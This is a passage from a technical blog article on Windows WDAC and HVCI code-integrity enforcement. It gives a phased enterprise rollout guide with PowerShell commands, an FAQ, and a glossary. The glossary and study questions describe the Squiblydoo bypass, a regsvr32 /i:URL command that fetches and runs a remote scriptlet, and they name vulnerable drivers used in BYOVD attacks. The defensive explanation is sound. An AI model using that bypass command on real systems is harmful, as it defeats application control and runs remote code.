"I was able to make a fully patched Windows machine susceptible to thousands of past vulnerabilities, turning fixed vulnerabilities into zero-days and making the term 'fully patched' meaningless on any Windows machine in the world." -- Alon Leviev, SafeBreach Labs, Black Hat USA 2024.
</PullQuote>

**The post-CrowdStrike user-mode-security pivot.** The July 2024 CrowdStrike Falcon outage motivated Microsoft to push EDR vendors out of the kernel and toward VBS Enclaves; Microsoft's [September 2024 Windows endpoint security summit blog post](https://blogs.windows.com/windowsexperience/2024/09/12/taking-steps-that-drive-resiliency-and-security-for-windows-customers/) is the canonical statement of intent. HVCI remains the kernel-side enforcement layer; the open question is what runtime enforcement looks like when EDR products are themselves trustlets. The cross-link to a sibling article on [VBS Trustlets](https://paragmali.com/blog/vbs-trustlets-what-actually-runs-in-the-secure-kernel/) is the right place to follow that thread, but the practical impact on WDAC + HVCI is concrete: kernel-mode driver count is set to drop, the surface HVCI has to validate shrinks, and the cost-benefit of HVCI's silicon dependency improves for legacy fleets.

<Sidenote>The [LOLDrivers catalogue](https://www.loldrivers.io/) tracks new BYOVD entries on a daily cadence; recent April 2026 entries include `iOCdrv.sys` and `Windows_CPU_Temperature_Component.sys`, both classified as "Vulnerable driver." The Microsoft-shipped Block List trails by months, and that trailing time is the structural feature of the curation discipline -- you cannot ship a Block List update that bricks an entire vendor's installed base on a Wednesday.</Sidenote>

These are the questions a 2026 Microsoft Senior PM, an MSRC engineer, and a SafeBreach researcher would all answer differently. Here, by contrast, is what is *not* contested -- the operational discipline a 2026 administrator should follow today.

## 10. Practical Guide: A Phased Rollout for a 2026 Estate

If your estate has neither HVCI nor WDAC on today, here is the four-phase rollout that gets you to the loop section five described, without bricking your fleet.

**Phase 0 (week 1) -- silicon verification.** Run `Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard` against a representative sample. Confirm that `AvailableSecurityProperties` includes `1` (hypervisor support), `2` (Secure Boot), and `7` ([MBEC/GMET reporting in Windows 10 1803 and Windows 11 21H2 or later](https://learn.microsoft.com/en-us/windows/security/hardware-security/enable-virtualization-based-protection-of-code-integrity)). Confirm that `VirtualizationBasedSecurityStatus = 2` on the same sample. Endpoints that fail Phase 0 either need silicon refresh or a documented "HVCI-incapable" exception with an EDR-only compensating control.

> **Note:** Older silicon falls back to Restricted User Mode emulation, which Microsoft documents as having "a bigger impact on performance" than the silicon-native path. Endpoints that report neither MBEC nor GMET will show measurable per-process startup overhead with HVCI on. Phase 0 is the planning data you need to scope the fleet before you light the feature up.

**Phase 1 (weeks 2-4) -- HVCI in audit mode + Driver Block List in enforce.** Enable HVCI on a wave-1 group; Microsoft Learn documents the Windows Security app toggle and the Group Policy / Intune CSP. Deploy [`RecommendedDriverBlock_Enforced.xml`](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules) standalone -- the policy is designed to stack alongside any other WDAC policy, including no policy. Triage incompatible drivers through the `Microsoft-Windows-DeviceGuard/Operational` channel and remediate vendor-by-vendor. Most enterprises lose one to three drivers per thousand endpoints in this phase; that is the design tax of moving the kernel CI check out of the kernel.

**Phase 2 (weeks 5-10) -- WDAC base policy in audit mode.** Author a base policy from [`DefaultWindows_Audit.xml`](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/example-appcontrol-base-policies) using `New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash -UserPEs -MultiplePolicyFormat`. Deploy in audit. Iterate `New-CIPolicy -Audit` against accumulated event-3076 traffic, mint supplemental policies, redeploy. Iterate until the audit-event volume on your representative subset is near-zero. Most production rollouts skip this phase; most production rollouts also have to roll back. Don't be that rollout.

**Phase 3 (weeks 11-16) -- sign and enforce.** Sign the base policy ([`Add-SignerRule -Update`, `Set-RuleOption -Option 6 -Delete`, `ConvertFrom-CIPolicy`, `signtool.exe`](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/select-types-of-rules-to-create)). Validate the signed policy on a wave-1 subset *before* fleet rollout. Then deploy in enforced mode. Enable the Defender ASR rule [`56a863a9-875e-4185-98a7-b882c64b5ce5`](https://www.microsoft.com/security/blog/2021/12/08/improve-kernel-security-with-the-new-microsoft-vulnerable-and-malicious-driver-reporting-center/) at the Defender for Endpoint policy layer. Integrate the [`CodeIntegrity-Operational` channel into your SIEM](https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference) via Defender for Endpoint advanced hunting -- the `DeviceEvents` table is your join point.

> **Note:** A signed policy is one of the few WDAC operations that can render a Windows machine un-bootable when it goes wrong. Always validate a signed-policy update on a wave-1 subset before fleet rollout. Always confirm that the new signer is in the `<UpdatePolicySigner>` element of the *currently active* policy *before* you ship the new policy. Always increment `VersionEx` monotonically. None of these are nice-to-haves.

**Phase 4 (ongoing) -- continuous tuning.** Quarterly: refresh the [Driver Block List policy](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules); review ISG verdicts (if rule option 14 is on); re-evaluate the [LOLBIN bypass list](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/applications-that-can-bypass-appcontrol) against your signed-by-Microsoft inventory; check the [LOLDrivers community catalogue](https://www.loldrivers.io/) for new vulnerable drivers your environment ships.

> **Note:** Audit volume goes near-zero before enforce, not "low" before enforce. The 3076 events you see in audit are the 3077 events you will see in enforce, and every 3077 event in production is a paged-out application your users cannot run. Iterate the supplemental-policy authoring loop until the audit volume genuinely flatlines, then enforce.

The "do not do" list is short and cheap. Do not deploy a signed policy without first validating the unsigned variant -- the `VersionEx` boot failure is the single most common production casualty. Do not rely on AppLocker as your primary control on Windows 10 or 11; Microsoft's [own AppLocker overview](https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview) disqualifies the feature as a security boundary. Do not turn HVCI off to "fix" driver compatibility -- patch the driver, replace the vendor, or document an exception with a sunset date.

<Spoiler kind="solution" label="The one-liner you actually run on every endpoint in Phase 0">
```powershell
Get-CimInstance -ClassName Win32_DeviceGuard `
  -Namespace root\Microsoft\Windows\DeviceGuard |
  Select-Object AvailableSecurityProperties,
                VirtualizationBasedSecurityStatus,
                SecurityServicesRunning,
                CodeIntegrityPolicyEnforcementStatus
```
Pipe the output into your SIEM, group by silicon family, and you have your Phase 0 capacity model.
</Spoiler>

After Phase 3, the loop section five described is running on every endpoint in your estate. After Phase 4, you are participating in the loop's continuous evolution. The remaining question is whether your understanding of the loop survives contact with the misconceptions every administrator brings to it.

## 11. FAQ: The Misconceptions This Article Closes

Eight misconceptions surface in nearly every WDAC + HVCI conversation. Here are the corrections, in priority order.

<FAQ title="Frequently asked questions">

<FAQItem question="Aren't WDAC and AppLocker the same thing?">
No. They share the [AppLocker Application Identity service](https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview) for some surfaces (Managed Installer, the ISG plumbing), but the two are different products under different servicing regimes. WDAC is [serviced under MSRC criteria as a security feature](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/appcontrol-and-applocker-overview), meaning Microsoft treats a bypass as a vulnerability. Microsoft documents [AppLocker](https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/applocker-overview) as a defense-in-depth feature, not a defensible security boundary -- the verbatim quote anchors the §3 Definition and PullQuote above. MSRC will not service AppLocker bypasses.
</FAQItem>

<FAQItem question="Isn't HVCI just NX for the kernel?">
No. NX (the No-Execute bit on x86-64) is a permission bit the CPU's MMU consults on every page access -- but the page-table entries that drive it live in memory the kernel maintains and the kernel can write. If an attacker has SYSTEM in ring 0, they can change the page-table entries the MMU consults. HVCI is a per-VTL [SLAT permission state](https://www.microsoft.com/en-us/security/blog/2020/07/08/introducing-kernel-data-protection-a-new-platform-security-technology-for-preventing-data-corruption/) held in the hypervisor's page tables, validated by `SkCi.dll` in VTL1, which a SYSTEM-level attacker in VTL0 cannot reach. NX's enforcement substrate is editable by the attacker; HVCI's is not.
</FAQItem>

<FAQItem question="If I'm SYSTEM in the kernel, can't I just turn HVCI off?">
No, not at the running enforcement layer. HVCI is enforced by the hypervisor; a SYSTEM-level kernel attacker can disable the *registry key* that determines whether HVCI loads on next boot, but cannot turn off the running enforcement on the current boot. Even the registry-key disable is detectable -- the [`CodeIntegrity-Operational` channel](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules) records the change, and a configured EDR will pick it up. The 2024 Windows Downdate disclosure is the most recent qualifier on this answer: a sufficiently sophisticated attacker can roll back the binaries that *implement* HVCI, but the [July 2025 KB5042562 mitigation](https://nvd.nist.gov/vuln/detail/CVE-2024-21302) closed that vector for the documented CVE.
</FAQItem>

<FAQItem question="Smart App Control is a different engine, right?">
No. [Smart App Control](https://support.microsoft.com/topic/what-is-smart-app-control-285ea03d-fa88-4d56-882e-6698afdb7003) is the same `CI.dll` engine consuming an example WDAC policy ([`SmartAppControl.xml` / `SignedReputable.xml`](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/example-appcontrol-base-policies)) tuned for consumer trust verdicts. It uses the same cloud reputation primitive as the [Intelligent Security Graph](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/use-appcontrol-with-intelligent-security-graph), the same Authenticode validation, and the same per-PE-load evaluation cadence. The differences are: it is opt-in at consumer install time, it has no per-app exception model, and it auto-disables for users whose behavioural profile suggests they are developers.
</FAQItem>

<FAQItem question="Doesn't the Driver Block List block every BYOVD driver?">
No. [Microsoft holds back blocks for compatibility](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules) -- the canonical Microsoft Learn position is that breaking an entire vendor's installed base is unacceptable, so the list ships as a curated working set on a quarterly cadence with monthly Windows updates as the delivery vehicle. The verbatim "hold back some blocks" quote anchors the §8 PullQuote above. The [LOLDrivers community catalogue](https://www.loldrivers.io/) tracks a four-figure entry count of vulnerable and malicious drivers, with new entries dated as recently as April 2026; the lag between LOLDrivers and the shipped Block List is days to months.
</FAQItem>

<FAQItem question="Are memory integrity, Device Guard kernel CI, and HVCI three different features?">
No. The [Microsoft Learn memory-integrity page](https://learn.microsoft.com/en-us/windows/security/hardware-security/enable-virtualization-based-protection-of-code-integrity) reconciles all three names; the verbatim quote anchors the §4b *HVCI / Memory Integrity* Definition above. Three names; one feature; one `SkCi.dll`; one architectural inversion of Blue Pill.
</FAQItem>

<FAQItem question="Does WDAC block PowerShell?">
Only if you remove the Script Enforcement opt-out (rule option 11, [`Disabled:Script Enforcement`](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/select-types-of-rules-to-create)). The default is to enforce script-host coverage for the binaries listed in the [bypass catalogue](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/applications-that-can-bypass-appcontrol) -- which means a WDAC-enforced endpoint runs PowerShell in Constrained Language Mode by default for non-allowlisted scripts. PowerShell scripts that are signed by a trusted signer continue to run in Full Language Mode.
</FAQItem>

<FAQItem question="Audit mode is harmless, isn't it?">
Mostly. But some policy options change behaviour even in audit mode -- for example, [`Disabled:Runtime FilePath Rule Protection`](https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/select-types-of-rules-to-create) removes the runtime user-writeability check on path rules whether or not enforcement is on, and `Required:WHQL` (rule option 2) is a hard requirement that does not have an audit-only counterpart. Test thoroughly. Audit mode is necessary discipline; it is not a permission to ignore policy semantics.
</FAQItem>

</FAQ>

> **Key idea:** A bag of bytes is not its identity. Where it sits is not its identity. Even who signed it is not its identity. Identity is a runtime decision made by code that itself cannot be tampered with -- and the only way to make that code tamper-resistant is to host it underneath the operating system the attacker has compromised.

That sentence is what every generation since SRP 2001 has been re-learning at a different layer. WDAC + HVCI is the layer Microsoft is willing to service like a security boundary. The next layer is whatever attack class research publishes in 2027.

<StudyGuide slug="wdac-hvci-code-integrity-at-every-layer-in-windows" keyTerms={[
  { term: "WDAC", definition: "Windows Defender Application Control / App Control for Business -- the configurable code integrity engine that evaluates a SiPolicy XML at every PE load via CI.dll." },
  { term: "HVCI", definition: "Hypervisor-protected Code Integrity -- the hypervisor-rooted check that runs SkCi.dll in VTL1 and enforces W$\\oplus$X for kernel pages via SLAT entries." },
  { term: "BYOVD", definition: "Bring Your Own Vulnerable Driver -- the attack class in which a privileged operator loads a signed-but-vulnerable driver to gain ring 0 code execution." },
  { term: "VTL0 / VTL1", definition: "Virtual Trust Levels 0 and 1 -- the hypervisor-enforced privilege separation that puts the Secure Kernel and SkCi.dll out of reach of a SYSTEM-level VTL0 attacker." },
  { term: "Squiblydoo", definition: "Casey Smith's April 2016 AppLocker bypass via regsvr32.exe /i:URL scrobj.dll, the canonical demonstration that publisher-only identity is necessary but not sufficient." },
  { term: "SiPolicy XML", definition: "The schema for a WDAC policy: Rules, Signers, FileRules, SigningScenarios, HvciOptions, UpdatePolicySigners, SupplementalPolicySigners, CiSigners." },
  { term: "Driver Block List", definition: "Microsoft's recommended deny list of vulnerable and malicious kernel drivers, shipped as RecommendedDriverBlock_Enforced.xml and on by default with HVCI on Windows 11 22H2+." },
  { term: "ASR rule 56a863a9-875e-4185-98a7-b882c64b5ce5", definition: "The Defender for Endpoint 'Block abuse of exploited vulnerable signed drivers' rule that pairs with the Block List as the EDR-side telemetry partner." },
  { term: "Cohen 1984/1986", definition: "Fred Cohen's 1984 paper Computer Viruses -- Theory and Experiments (included in his 1986 USC PhD dissertation under Leonard Adleman): general malware detection is undecidable -- the lower-bound theoretical justification for why WDAC must be an allowlist, not a detector." },
  { term: "Rice's theorem", definition: "Henry Gordon Rice's 1951 result that every non-trivial semantic property of a Turing-complete program is undecidable -- the lower-bound justification for why signed-but-vulnerable LOLBINs cannot be statically eliminated." }
]} questions={[
  { q: "What two engines refused the dbutil_2_3.sys load that opens this article, and where do they sit?", a: "CI.dll in VTL0 builds the verdict from the Driver Block List (a standalone WDAC policy); SkCi.dll in VTL1 ratifies it; the hypervisor enforces the W->X SLAT refusal that emits CodeIntegrity-Operational event 3033." },
  { q: "Why is a publisher rule for O=Microsoft Corporation insufficient against Squiblydoo?", a: "Because the publisher rule scopes trust to the binary's signer, not the binary's behaviour. regsvr32.exe is signed by Microsoft and exposes a /i:URL flag that fetches and executes a remote scriptlet; the publisher rule allows the binary, the scriptlet runs in-process, and AppLocker logs a successful launch." },
  { q: "What is the architectural inversion HVCI performs against Joanna Rutkowska's 2006 Blue Pill argument?", a: "Blue Pill argued the hypervisor was the attacker's substrate to fear. HVCI moves the kernel CI check into VTL1, hosted by the hypervisor Microsoft owns -- so the hypervisor becomes the defender's substrate, and a SYSTEM-level VTL0 kernel attacker cannot reach VTL1." },
  { q: "Why does the Driver Block List always lag behind the LOLDrivers community catalogue?", a: "Microsoft holds back blocks for compatibility, in its own words -- shipping a Block List update that bricks an entire vendor's installed base is unacceptable, so the list ships as a curated working set on a quarterly cadence with monthly Windows updates as the delivery vehicle." },
  { q: "What is the audit-to-enforce discipline, and why is skipping it the most common cause of WDAC rollout failure?", a: "Deploy in audit; harvest CodeIntegrity-Operational event 3076; mint supplemental policies with New-CIPolicy -Audit; merge and redeploy; iterate until audit volume is near-zero; then Set-RuleOption -Option 3 -Delete to switch to enforce. Skipping the iteration is what produces production casualties: every 3076 event you see in audit is a 3077 enforce-block in production, which is a paged-out application your users cannot run." }
]} />

```
---WRITER METRICS---
Word count: 11497
Citations: 131
Mermaid diagrams: 7
Definitions: 13
Sidenotes: 8
FAQ questions: 8
---END WRITER METRICS---
```
